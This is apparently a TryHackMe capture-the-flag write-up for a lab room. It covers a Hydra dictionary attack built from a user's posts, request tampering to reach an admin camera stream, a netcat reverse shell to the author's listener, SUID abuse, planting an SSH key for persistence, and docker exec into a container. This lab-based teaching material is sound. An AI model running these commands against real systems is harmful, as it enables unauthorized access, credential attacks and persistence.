# The Great Disappearing Act

{% embed url="<https://tryhackme.com/room/sq1-aoc2025-FzPnrt2SAu>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

After we have disabled the firewall using the web server on port `21337`, we begin with the challenge.

## Recon

We use rustscan `-b 500 -a 10.80.172.227 -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FRaDyuoSK2CgLaL0T25sN%2Fgrafik.png?alt=media&#x26;token=be4c8c00-2860-48ca-9394-45f02a01375e" alt=""><figcaption></figcaption></figure>

Our rustscan shows us that the target has several open ports. These include ports `22`, `80`, `8000`, `8080`, `9001`, and `13400`–`13404`. Port `21337` hosts the web server for disabling the firewall, so we leave this one out. At first glance, we can see that a web server is running on most ports. Only on port `9000` do we appear to be dealing with a SCADA terminal.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F7GuuIvJQsGX820sZKk7a%2Fgrafik.png?alt=media&#x26;token=5a38a445-217b-4741-b6f8-815f4b25cb51" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FWmbjarl7u8S8qjvZFiqQ%2Fgrafik.png?alt=media&#x26;token=2d00e1ee-0232-4d25-b894-1e04bf9c79f5" alt=""><figcaption></figcaption></figure>

We first manually call up the web pages of the respective web services on the open ports. Ports `80` and `8080` appear to host the same page. Here we are presented with the login page for the HopSec Security Console. Later on, we will find out that we redeem our flags on this portal.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FhxE9dTjBJmiNedaC4oXI%2Fgrafik.png?alt=media&#x26;token=f912c052-a105-44c0-8278-a79a3b7e8548" alt=""><figcaption></figcaption></figure>

As it turned out during the challenge, the page on port `80` is not fully functional. In the further course of the challenge, we refer to the console on port `8080`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F7USDeb0kHYldyhquz7MD%2Fgrafik.png?alt=media&#x26;token=ed197b6b-81f2-4eb5-ba5d-cbfaf1d14e24" alt=""><figcaption></figcaption></figure>

On port `8000`, we are greeted with a login page for fakebook. Fakebook is a fake social media portal, which can also be found on GitHub. Explicit vulnerabilities of this portal are not within the scope of the challenge.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FiMJ3lafEqtX30nBKLoUi%2Fgrafik.png?alt=media&#x26;token=e866b721-ba07-4b1a-a655-3f7673dfa234" alt=""><figcaption></figcaption></figure>

We can use netcat to connect to the SCADA terminal, which simulates the gate control system.

```
nc 10.80.172.227 9001
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FJt5ilMMGDwFm07w5yPdX%2Fgrafik.png?alt=media&#x26;token=bd300340-b12b-462b-b9a3-2c485deb0028" alt=""><figcaption></figcaption></figure>

The web server on port `13400` hosts a video portal, and here too we are required to log in first.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FzkvHFd3gjcHmv1GZ6kSC%2Fgrafik.png?alt=media&#x26;token=a7eb6200-4b24-4c39-a21b-12047071c21f" alt=""><figcaption></figcaption></figure>

## Flag 1

Since the Fakebook page is the only one that allows us to create an account and perform some authenticated recon, we will start with this page. We create an account.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FcyJ19M7vcMua0UNKfzhR%2Fgrafik.png?alt=media&#x26;token=b3da0c7b-4c2b-4310-8f28-a6e84fd12baa" alt=""><figcaption></figcaption></figure>

In one of the first posts on the portal, we discover the email address of the user Guard Hopkins, who shared it in a post. We'll make a note of that.

```
guard.hopkins@hopsecasylum.com
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fwmxxrs8TvN8OZMJ7WOSD%2Fgrafik.png?alt=media&#x26;token=28dd1e11-de43-496c-9fda-634d9adbdcea" alt=""><figcaption></figcaption></figure>

We scroll through the posts and see how Sir Carrotbane tricks users into sharing their passwords in the comments section. Guard Hopkins fell for it, and now we have his password. However, fater testing the credentials of Guard Hopkins on all available login pages we can confirm that he had already changed it everywhere..

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fmo1PnOvrMQW7gxUb3rbd%2Fgrafik.png?alt=media&#x26;token=9e36cbcc-a85e-45e9-9919-993fc94197ed" alt=""><figcaption></figcaption></figure>

The leaked password didn't work. But the user Hopkins provides enough material in his posts to create a word list.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FH682m5b0KX9ggQ6QuoSO%2Fgrafik.png?alt=media&#x26;token=1f2a64bb-43dd-450d-a2a6-7a1840467c4f" alt=""><figcaption></figcaption></figure>

The following screenshots illustrate the keywords we will use to create our word list.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F5jHGYjlWdlaknqOMAHTg%2Fgrafik.png?alt=media&#x26;token=fbdbefc5-7976-4ba0-8adf-161d7faa5e19" alt=""><figcaption></figcaption></figure>

We have noted the following:

```
Pizza
Johnnyboy
43
anniversary
1982!
1234$
Hopkin
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F2REhEHBJcGXXUa0Eqf3m%2Fgrafik.png?alt=media&#x26;token=c819d637-54c4-4f9f-b9fb-840b48b95310" alt=""><figcaption></figcaption></figure>

We also get a hint on how we could use this to create our word list. For example, with the combinator feature of hashcat, which creates all possible combinations of two lists into one list. The combinator mode can be applied in hashcat with  `-a 1`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FJ366exgslJ9Fl0B2Wjxi%2Fgrafik.png?alt=media&#x26;token=dad9588e-94c9-43c7-b4cf-3e250c6312d3" alt=""><figcaption></figcaption></figure>

We create a list of all the keywords we already know and clone them.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FdRmTAbijtswd6Sqsi5kd%2Fgrafik.png?alt=media&#x26;token=50604fb3-bd38-4f2d-b6ae-b14d8496a2cc" alt=""><figcaption></figcaption></figure>

Next, we use the combinator feature to merge all combinations from both lists into one.

```
hashcat --stdout -a 1 list_a list_b > passwords.txt
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FIGdRR3mSTlL5vVw5onR8%2Fgrafik.png?alt=media&#x26;token=45d4a67d-9ed5-456c-8478-ef788068d809" alt=""><figcaption></figcaption></figure>

Since we have the email and a set of passwords, we try to perform a dictionary attack on all portals using Hydra. Our first attempt on Fakebook failed, but we got a hit on HopSec Security Console.

{% code overflow="wrap" %}

```
 hydra -l 'guard.hopkins@hopsecasylum.com' -P passwords.txt 10.80.172.227 -s 8080 http-post-form "/cgi-bin/login.sh:username=^USER^&password=^PASS^:F=Invalid"
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FTWzm0cdLGRtQVa2dbQRi%2Fgrafik.png?alt=media&#x26;token=c1490b2f-75bc-460e-90c1-531154159923" alt=""><figcaption></figcaption></figure>

We log in...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FTCPi59SWMVia7X6JpsWY%2Fgrafik.png?alt=media&#x26;token=f1a33387-3b72-462a-9804-9b4d88e096ba" alt=""><figcaption></figcaption></figure>

... and find the facility map as in the room description.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FFt0U5T3SVaw1wFKPRxL4%2Fgrafik.png?alt=media&#x26;token=d22626fe-baa1-48d6-8710-72219508d003" alt=""><figcaption></figcaption></figure>

When we click on the Cells / Storage key, we get the first flag.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F0s2L8gyDHl1nWUrEUSPc%2Fgrafik.png?alt=media&#x26;token=f5a8571f-c58a-49a8-9e12-e820087ef743" alt=""><figcaption></figcaption></figure>

## Flag 2 Part 1

With Guard Hopkins' credentials, we can also log in to the Facility Video Portal.

```
http://10.80.172.227:13400/
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F7eeSycL1CAMr22IAOTez%2Fgrafik.png?alt=media&#x26;token=b0cf97db-7ea2-41bd-8501-fab95e713fe4" alt=""><figcaption></figcaption></figure>

However, all video recordings appear to be compromised...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FL8mEABrZf8QVfJQhS5vr%2Fgrafik.png?alt=media&#x26;token=c710790d-6d50-42b5-b76f-594f787a44c9" alt=""><figcaption></figcaption></figure>

... and access to the admin cam is restricted.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F8Bl9QaipNGfvoClKPNUi%2Fgrafik.png?alt=media&#x26;token=eef70ac1-f277-437f-9f53-10eaac7e8716" alt=""><figcaption></figcaption></figure>

We intercept a request of clicking the cam-lobby using Burp Suite.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FWVFamiViDNOOcAAEtc1a%2Fgrafik.png?alt=media&#x26;token=64bf1652-2843-4cc5-b946-ae8b2d588030" alt=""><figcaption></figcaption></figure>

After we have forwarded the request, another request follows to `/v1/streams/request`, which requests the stream using a POST request. The camera ID and the tier are defined in the post body.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FSSB0UL0RvyLmiy8raJbg%2Fgrafik.png?alt=media&#x26;token=5214779c-c82d-4748-834f-4e7cb2528b56" alt=""><figcaption></figcaption></figure>

After we forward this request, another request follows, namely for the .m3u8 file. An M3U8 file is a playlist used for HTTP Live Streaming (HLS) that tells a media player where to find and play video or audio segments over the internet. It’s a text file encoded in UTF-8, commonly used by streaming platforms to deliver adaptive bitrate streams.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FsnsVG8alsxk8e8Rl1eaL%2Fgrafik.png?alt=media&#x26;token=a2215696-5111-43bc-b5e3-0c7e092ceec2" alt=""><figcaption></figcaption></figure>

We repeat the whole process, but this time we forward the request to `/v1/streams/request` to the Burp Suite repeater. Here we see our effective tier as well as a ticket\_id as a response.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FaypXxMarRxRbvo12ACPF%2Fgrafik.png?alt=media&#x26;token=3b086f1c-c1c8-4246-8207-fb23af202208" alt=""><figcaption></figcaption></figure>

We'll take a look at the JavaScript of the portal, the core logic, namely main.js. Here we see the camera\_id `cam-admin`.

```
view-source:http://10.80.172.227:13400/main.js
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FCnZ0s0vZcpslg6MbRRzt%2Fgrafik.png?alt=media&#x26;token=0c2b68f4-3e7b-4f49-b88b-2795b31c3d8c" alt=""><figcaption></figcaption></figure>

When we request this `cam-admin`, we receive a ticket which, when we use it to play the stream (more on how we do this later), we find that the compromised video is still being played. Furthermore, we are still in the effective tier guard.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FpNhuryWk6DVH0r5TzGK0%2Fgrafik.png?alt=media&#x26;token=64278c1f-d0ae-44a4-90c3-d75a63f0f8c8" alt=""><figcaption></figcaption></figure>

If we change the tier in the post body the effective tier stays the same and the ticket\_id still resutls in a compromised video.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FApU5UbRtQYiUA9wDB92n%2Fgrafik.png?alt=media&#x26;token=8639f0c9-f1a3-40b9-aab6-5ada9af67c8b" alt=""><figcaption></figcaption></figure>

To play the video, we take the ticket ID.

```
0ffc7b3b-7674-49d5-a18e-07c4c8a61f73
```

The site provides us with a function called `attachWithReconnect`, which we can use to play the video by passing the ticket ID. In the source, we also see the effective use of tiers guard and admin. We were probably not wrong about the tier labeling.

```
attachWithReconnect(API + '/v1/streams/' + j.ticket_id + '/manifest.m3u8');
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FfjmG2bX7uFyOkVlsk3it%2Fgrafik.png?alt=media&#x26;token=7a0926a8-9ecb-4050-8b9f-ed89d554f9fa" alt=""><figcaption></figcaption></figure>

We execute this in the console with the ticket\_id resulting from the manipulated request. We see the compromised video.

{% code overflow="wrap" %}

```
attachWithReconnect(API + '/v1/streams/' + '0ffc7b3b-7674-49d5-a18e-07c4c8a61f73' + '/manifest.m3u8');
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FocbeiBOZlHavigRgLm9C%2Fgrafik.png?alt=media&#x26;token=2fc31a7b-14b9-4763-8536-a192e39a54c8" alt=""><figcaption></figcaption></figure>

We are trying something new and not only setting the tier in the POST data but also in the GET request. This time, we receive a response confirming that we are indeed in the admin tier.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FNqCJUttBukYyFC2B9zHy%2Fgrafik.png?alt=media&#x26;token=0bb01826-8467-4eb0-95e7-f1596aa9df2b" alt=""><figcaption></figcaption></figure>

We copy the ticket\_id...

```
ab8a4a69-3774-43f6-80d3-b24a611e48a9
```

... and request the stream again in the console. We can see how a code is entered on a number pad. We write down the code.

{% code overflow="wrap" %}

```
attachWithReconnect(API + '/v1/streams/' + 'ab8a4a69-3774-43f6-80d3-b24a611e48a9' + '/manifest.m3u8');
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F0L0EJ1VqOBMEo8VdYjQH%2Fgrafik.png?alt=media&#x26;token=6d687d4a-4d62-40a7-9de7-5bc49929ee3e" alt=""><figcaption></figcaption></figure>

We go back to the portal on port `8080` and try to open the second door (Psych Ward Exit). We enter the keycode.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FJgqISCidJTg0NSN2SzC1%2Fgrafik.png?alt=media&#x26;token=1e5c3040-a5b7-4df0-a79a-f00ed2d59c6d" alt=""><figcaption></figcaption></figure>

And receive the fist part of the second flag. We may have overlooked something. We have not yet dealt with ports `13401`-`13404`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FTdoc4hWRtPNm989RJ57R%2Fgrafik.png?alt=media&#x26;token=b561c379-4aca-4867-9e4e-f858c11e79d1" alt=""><figcaption></figcaption></figure>

## Flag 2 Part 2

We repeat the steps from earlier. We request the admin ticket for the cam-admin stream. And let's take a closer look at the manifest file.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FfiGwsmJERRXnCS7nkkaJ%2Fgrafik.png?alt=media&#x26;token=b9d98225-036b-4b18-8c26-419eae0405c9" alt=""><figcaption></figcaption></figure>

From main.js, we can see how the URL for requesting the manifest file is constructed. In fact, it is accessed on port 13401.

```
API + '/v1/streams/' + 'add1bb80-63e7-4c47-8304-5341637b507d' + '/manifest.m3u8
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fx0wP0qHDXOEqJNN9prVk%2Fgrafik.png?alt=media&#x26;token=eeb6f79f-1f2a-4799-86c6-4d2fc0e0c819" alt=""><figcaption></figcaption></figure>

We craft the following url to request the manifest:

{% code overflow="wrap" %}

```
http://10.80.172.227:13401/v1/streams/add1bb80-63e7-4c47-8304-5341637b507d/manifest.m3u8
```

{% endcode %}

We retrieve it.

{% code overflow="wrap" %}

```
wget http://10.80.172.227:13401/v1/streams/add1bb80-63e7-4c47-8304-5341637b507d/manifest.m3u8
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FrbihkKoq8wRBOcDpRb8C%2Fgrafik.png?alt=media&#x26;token=16a3d2d3-45c8-4050-aef1-d8014fbed563" alt=""><figcaption></figcaption></figure>

In this, we find the following two endpoints:

```
/v1/ingest/diagnostics
```

```
/v1/ingest/jobs
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fs0EFzAD731RoCWfa9XgP%2Fgrafik.png?alt=media&#x26;token=e0b6ae72-4d1d-4409-9678-687ba0d577f2" alt=""><figcaption></figcaption></figure>

We cannot request `/v1/ingest/diagnostics` using a GET request.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FGqurBIwAXV8R8EV7ExZz%2Fgrafik.png?alt=media&#x26;token=be0e7eb0-7ab5-4757-b9fe-a640362ca18e" alt=""><figcaption></figcaption></figure>

But with a POST request, we receive an error stating that the rtsp\_url is invalid. An RTSP URL is used to control and stream live media (like IP cameras or live broadcasts) by telling a client where and how to access the stream. It works like a remote control for streaming, handling play, pause, and stop commands in real time. At first glance, nothing special.

{% hint style="info" %}
In the early version of the challenge for release, the note about the incorrect rtsp\_url was not included. Which made it particularly difficult.
{% endhint %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FTWYzRb3ZLZDPxK1WsfCb%2Fgrafik.png?alt=media&#x26;token=33666bfd-d1c9-4f9f-8515-a7b55e0655db" alt=""><figcaption></figcaption></figure>

Localhost does not work.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F2I8OovoayAmodhWmGlRw%2Fgrafik.png?alt=media&#x26;token=e12a1eff-b773-4872-8ba1-adad7e6c6879" alt=""><figcaption></figcaption></figure>

But we have an example in the manfiest file.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F17GJgILVpmDEkQNrPGaV%2Fgrafik.png?alt=media&#x26;token=41eee426-b48e-4c95-abd8-e0a0180c47ce" alt=""><figcaption></figcaption></figure>

IIf we use that we get a response witha  `job_status` containing the other endpoint found in the manifest file.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FWLehlyTPYu5Ld1tjQmYj%2Fgrafik.png?alt=media&#x26;token=390549a0-1ba8-460d-b3f3-91707afbc60b" alt=""><figcaption></figcaption></figure>

When we request the following, we receive the information console port `13404` and a token.

```
/v1/ingest/jobs/5290b7f9-31ca-4815-af35-98323fe2597d
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FHdfrwTSnlyg7vX34Wl3B%2Fgrafik.png?alt=media&#x26;token=05654e25-52a4-4bc8-8b1e-5e40d8b3a835" alt=""><figcaption></figcaption></figure>

We connect to `13404` using netcat, but do not receive a prompt. When we enter the token, a terminal appears.

```
nc 10.80.172.227 13404
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FylBcVk2iFF2u2jcUNzH1%2Fgrafik.png?alt=media&#x26;token=ddf4b681-7926-45f0-ac77-2f28cd44f5f2" alt=""><figcaption></figcaption></figure>

We want a slightly more stable shell, so we set up a listener using penelope and prepare a reverse shell.

```
penelope -p 4445
```

We spawn our reverse shell...

```
busybox nc 192.168.152.149 4445 -e /bin/bash
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FtrrboJXEsJJrwtNsTgmh%2Fgrafik.png?alt=media&#x26;token=4986555d-8942-42c5-b46f-d139d6412879" alt=""><figcaption></figcaption></figure>

... receive a connection and continue.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FVS2Sj4d2yGUTTktQE91O%2Fgrafik.png?alt=media&#x26;token=ee16dd3f-18fa-417b-9c37-e4f148593e36" alt=""><figcaption></figcaption></figure>

At `/home/svc_vidpot/user.txt` we find the second part of the second flag.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FsNW0RbFIymOknrtwUPjb%2Fgrafik.png?alt=media&#x26;token=76883350-453b-46ad-bf21-c9221af39b91" alt=""><figcaption></figcaption></figure>

## Flag 3

We remember the Scada portal, since we now have tokens like this one that we got for port `13404` and already have two flags, so let's try it out. With a flag we can authenticate but can't do much here.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FuFIpsxGP7P7nR27FX685%2Fgrafik.png?alt=media&#x26;token=f353395a-9b07-421e-811a-21708262d057" alt=""><figcaption></figcaption></figure>

We still have our shell for the second part of the flag. We search for SUID binaries and find on specifc.

```
find / -type f -perm -04000 2>/dev/null
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FXuEBLyZKfn7lVGTHubaM%2Fgrafik.png?alt=media&#x26;token=381b57cd-7ab9-40e4-9070-6474f8c84450" alt=""><figcaption></figcaption></figure>

It's `/usr/local/bin/diag_shell`.

This is owned by dockermgr.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FHQVc2g0Sn0TeDyxPXC16%2Fgrafik.png?alt=media&#x26;token=697a401e-1bd5-4b1b-bbd3-6f5e464e2150" alt=""><figcaption></figcaption></figure>

```
ls -lah /usr/local/bin/diag_shell
```

```
/usr/local/bin/diag_shell
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FhsmUP4VtMFDBhSvlIabP%2Fgrafik.png?alt=media&#x26;token=c7ba7579-61b3-4587-a15b-3bb4d85242a8" alt=""><figcaption></figcaption></figure>

When we execute it, we get a shell in the context of dockermgr, but not fully. We are not in the dockermgr group and cannot use docker either.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FiXk1ULZvJnjbyxXY2h7C%2Fgrafik.png?alt=media&#x26;token=ccf5ff8e-ec65-42a2-9b4a-d949e8ee22e4" alt=""><figcaption></figcaption></figure>

However, since we can write to the home directory of dockermgr, we place our SSH pubkey in the `.ssh/authorized` file to obtain a more stable shell and a complete session as dockermgr.

We generate a key pair.

```
ssh-keygen -t rsa
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FJTqzIhaHyWDsHnRHPp2D%2Fgrafik.png?alt=media&#x26;token=eb0b332b-3b08-415f-9461-52fa97e53c85" alt=""><figcaption></figcaption></figure>

Next, write the public key to `.ssh/authorized_keys`.

{% code overflow="wrap" %}

```
echo 'YOUR PUB KEY' > .ssh/authorized_keys
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fm2WCsAO3XpJtlQrKMu20%2Fgrafik.png?alt=media&#x26;token=930bbfa4-cb05-4fa4-b623-4af68f71567a" alt=""><figcaption></figcaption></figure>

Now we can connect as dockermgr using SSH. We now have a stable session as dockermgr and can execute docker. Via docker ps we detect the `asylum_gate_control` image. If we can interact with it we could retrieve the passcode for the gate.

```
ssh -i id_rsa dockermgr@10.80.172.227
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fpa3Fvbf7MzkjN6hAPBT4%2Fgrafik.png?alt=media&#x26;token=74bc6d88-ccf5-4821-8e83-9885f2673710" alt=""><figcaption></figcaption></figure>

We open an interactive bash shell inside the running Docker container named `asylum_gate_control`, allowing you to execute commands directly inside that container.

```
docker exec -it asylum_gate_control /bin/bash
```

There we inspect the source of the scada terminal...

```
cat scada_terminal.py
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FSE4iLik3Qt8i93KL4rDU%2Fgrafik.png?alt=media&#x26;token=e0db3ea6-d57b-4bdd-afd9-60a9e32275e3" alt=""><figcaption></figcaption></figure>

... and find the unlock code.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FBfAbZZrH0IRqXl01geMx%2Fgrafik.png?alt=media&#x26;token=0b9bc5ec-e0b6-4426-87e9-f791d352911c" alt=""><figcaption></figcaption></figure>

We enter the unlock code...&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F0pU4UmY9vdm0arPuSRWR%2Fgrafik.png?alt=media&#x26;token=1cdc04c9-3ece-4fec-bdf6-f2c442a9c3e0" alt=""><figcaption></figcaption></figure>

... and receive the final flag.

